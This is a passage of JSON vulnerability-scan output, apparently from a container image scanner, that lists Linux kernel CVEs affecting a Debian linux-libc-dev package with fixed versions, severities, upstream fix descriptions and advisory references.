"https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2497035", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502490", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2517010", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53361", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74556", "https://errata.almalinux.org/10/ALSA-2026-67471.html", "https://errata.rockylinux.org/RLSA-2026:67471", "https://git.kernel.org/linus/d82ba05263c69fa2437fe93e4e561cc40f4c03af%20%287.1-rc3%29", "https://git.kernel.org/stable/c/0cfa78c050662784fc8e3ab26dbfd1dc632b2082", "https://git.kernel.org/stable/c/20aa894d475bd8086b25c1113ec4ca70f70c7a98", "https://git.kernel.org/stable/c/591f1ac217428a6d2b32a8ac14aac0fab44f155a", "https://git.kernel.org/stable/c/82c17e13d404f686e164590483fd6c1abaa675d0", "https://git.kernel.org/stable/c/d82ba05263c69fa2437fe93e4e561cc40f4c03af", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/7.1.0/BRSA-twzos5etfut8.toml", "https://linux.oracle.com/cve/CVE-2026-53361.html", "https://linux.oracle.com/errata/ELSA-2026-67471-0.html", "https://lore.kernel.org/linux-cve-announce/2026070436-CVE-2026-53361-f969@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53361", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8801-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-53361" ], "PublishedDate": "2026-07-04T12:17:02.01Z", "LastModifiedDate": "2026-10-19T20:19:16.34Z" }, { "VulnerabilityID": "CVE-2026-53362", "VendorIDs": [ "DSA-6381-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53362", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:17392639ecb8dedeab7765ee54a6f1424ce2c23904659340cb0c22329eed5d3d", "Title": "kernel: kernel: ipv6 frag escape", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: account for fraggap on the paged allocation path\n\nIn __ip6_append_data(), when the paged-allocation branch is taken\n(MSG_MORE / NETIF_F_SG / large fraglen), alloclen and pagedlen are\ncomputed as\n\n\talloclen = fragheaderlen + transhdrlen;\n\tpagedlen = datalen - transhdrlen;\n\ndatalen already includes fraggap (datalen = length + fraggap). When\nfraggap is non-zero, this is not the first skb and transhdrlen is zero.\nThe fraggap bytes carried over from the previous skb are copied just past\nthe fragment headers in the new skb's linear area. The linear area is\ntherefore undersized by fraggap bytes while pagedlen is overstated by the\nsame amount, and the copy writes past skb-\u003eend into the trailing\nskb_shared_info.\n\nAn unprivileged user can trigger this via a UDPv6 socket using\nMSG_MORE together with MSG_SPLICE_PAGES.\n\nThe bad accounting was introduced by commit 773ba4fe9104 (\"ipv6:\navoid partial copy for zc\"). Before commit ce650a166335 (\"udp6: Fix\n__ip6_append_data()'s handling of MSG_SPLICE_PAGES\"), the negative\ncopy value caused -EINVAL to be returned. That later commit allowed\nMSG_SPLICE_PAGES to proceed in this case, making the corruption\ntriggerable.\n\nThe non-paged branch sets alloclen to fraglen, which already accounts\nfor fraggap because datalen does. Bring the paged branch in line by\nadding fraggap to alloclen and subtracting it from pagedlen.\n\nAfter this adjustment, copy no longer collapses to -fraggap on the\npaged path, so remove the stale comment describing that old arithmetic.\nSince a negative copy is no longer expected for a valid MSG_SPLICE_PAGES\ncase, remove the MSG_SPLICE_PAGES exception from the negative copy check.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-122" ], "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53362", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/736b380e28d0480c7bc3e022f1950f31fe53a7c5%20%287.2-rc1%29", "https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=736b380e28d0", "https://git.kernel.org/stable/c/14200d435af9a9eeb444f529fc2f689a236b7962", "https://git.kernel.org/stable/c/46f201f8b4c39633a1fa3dc12459f506d470993d", "https://git.kernel.org/stable/c/6374fb9edf72c67a118a2c214a0dddd04c921e0a", "https://git.kernel.org/stable/c/65fb14cbebb0cd0eff903a22d33537ddc8b95769", "https://git.kernel.org/stable/c/736b380e28d0480c7bc3e022f1950f31fe53a7c5", "https://git.kernel.org/stable/c/e9eacf19281ea2498b36291b56c9606118c2d74e", "https://linux.oracle.com/cve/CVE-2026-53362.html", "https://linux.oracle.com/errata/ELSA-2026-500150.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53362", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8801-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-53362", "https://www.cve.org/CVERecord?id=CVE-2026-53362" ], "PublishedDate": "2026-07-04T12:17:02.113Z", "LastModifiedDate": "2026-10-15T13:46:55.187Z" }, { "VulnerabilityID": "CVE-2026-53366", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53366", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fe17f3748b30ac6744ad8d3ef78d8cf405593d41d39e48b0c2db47e397da62b8", "Title": "kernel: ipv4: account for fraggap on the paged allocation path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: account for fraggap on the paged allocation path\n\nIn __ip_append_data(), when the paged-allocation branch is taken,\nalloclen and pagedlen are computed as\n\n\talloclen = fragheaderlen + transhdrlen;\n\tpagedlen = datalen - transhdrlen;\n\ndatalen already includes fraggap, but the fraggap bytes carried over\nfrom the previous skb are copied into the new skb's linear area at\noffset transhdrlen by the subsequent skb_copy_and_csum_bits(). The\nlinear area is therefore undersized by fraggap bytes while pagedlen is\noverstated by the same amount.\n\nThe non-paged branch sets alloclen to fraglen, which already accounts\nfor fraggap because datalen does. Bring the paged branch in line by\nadding fraggap to alloclen and subtracting it from pagedlen.\n\nAfter this adjustment, copy no longer collapses to -fraggap on the\npaged path, so remove the stale comment describing that old arithmetic.", "Severity": "HIGH", "CweIDs": [ "CWE-131" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-53366", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/eca856950f7cb1a221e02b99d758409f2c5cec42%20%287.2-rc1%29", "https://git.kernel.org/stable/c/5c6375bced6147ec2e460ee3b653f4860d5ecdc2", "https://git.kernel.org/stable/c/77798d7be6ef71e72fb6fc8a2901bf74ebc9706f", "https://git.kernel.org/stable/c/a9c24eda24bd15f432e37824e6fc440977cb241c", "https://git.kernel.org/stable/c/c04d9ece23deb9e26c19f9ca215e98b3295aa1bb", "https://git.kernel.org/stable/c/ce494707a9c07f27c219ca67f3e138061f53d9b3", "https://git.kernel.org/stable/c/eca856950f7cb1a221e02b99d758409f2c5cec42", "https://linux.oracle.com/cve/CVE-2026-53366.html", "https://linux.oracle.com/errata/ELSA-2026-66180-0.html", "https://lore.kernel.org/linux-cve-announce/2026071639-CVE-2026-53366-f508@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53366", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-53366" ], "PublishedDate": "2026-07-16T06:16:27.333Z", "LastModifiedDate": "2026-10-19T20:19:16.52Z" }, { "VulnerabilityID": "CVE-2026-53374", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53374", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:12074947eb0665ea30acef8d9e59a3bf8dcfdef4751e4f74a56e38935ae8e3de", "Title": "kernel: drm/amdgpu: zero-initialize GART table on allocation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: zero-initialize GART table on allocation\n\nGART TLB is flushed after unmapping but not after mapping. Since\namdgpu_bo_create_kernel() does not zero-initialize the buffer, when a\nsingle PTE is written the TLB may speculatively load other uninitialized\nentries from the same cacheline. Those garbage entries can appear valid,\nand a subsequent write to another PTE in the same cacheline may cause the\nGPU to use a stale garbage PTE from the TLB.\n\nFix this by calling memset_io() to zero-initialize the GART table with\ngart_pte_flags immediately after allocation.\n\nUsing AMDGPU_GEM_CREATE_VRAM_CLEARED, SDMA-based clear will not work\nsince SDMA needs GART to be initialized to work.\n\n(cherry picked from commit d9af8263b82b6eaa60c5718e0c6631c5037e4b24)", "Severity": "HIGH", "CweIDs": [ "CWE-457" ], "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53374", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/e6c2e6c2e1fa066968a16aca1cb66cd1bdde7741%20%287.1-rc3%29", "https://git.kernel.org/stable/c/40df11255d71b02e20e70579f1b12b687e396e26", "https://git.kernel.org/stable/c/791941be5da125d9a1b228582bfdc300c05d05b3", "https://git.kernel.org/stable/c/8ae8b9e74bab94aab1d79f1688129bcc61c8b29a", "https://git.kernel.org/stable/c/91fbb5e635c8fb1b49e15c19da06480089ef719f", "https://git.kernel.org/stable/c/b17175d0a375b3ed5e81597dac4983fdb46e478d", "https://git.kernel.org/stable/c/e6c2e6c2e1fa066968a16aca1cb66cd1bdde7741", "https://linux.oracle.com/cve/CVE-2026-53374.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026071946-CVE-2026-53374-a981@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53374", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53374" ], "PublishedDate": "2026-07-19T11:16:38.5Z", "LastModifiedDate": "2026-10-19T20:19:16.93Z" }, { "VulnerabilityID": "CVE-2026-53398", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53398", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c37b8036efa845691220bd14e52d946436230ba471b117deec4649856fdb95fb", "Title": "kernel: NFSD: Fix SECINFO_NO_NAME decode error cleanup", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Fix SECINFO_NO_NAME decode error cleanup\n\nnfsd4_decode_secinfo_no_name() currently initializes sin_exp after\ndecoding sin_style. If the XDR stream is truncated, the decoder returns\nnfserr_bad_xdr before sin_exp is initialized.\n\nSince commit 3fdc54646234 (\"NFSD: Reduce amount of struct\nnfsd4_compoundargs that needs clearing\"), the inline iops array is not\ncleared between RPC calls. A failed SECINFO_NO_NAME decode can therefore\nleave sin_exp holding stale union contents from a previous operation.\n\nThe error response path still invokes nfsd4_secinfo_no_name_release(),\nwhich calls exp_put() on a non-NULL sin_exp.\n\nInitialize sin_exp before the first failable decode step, matching\nnfsd4_decode_secinfo().", "Severity": "HIGH", "CweIDs": [ "CWE-665" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-53398", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", 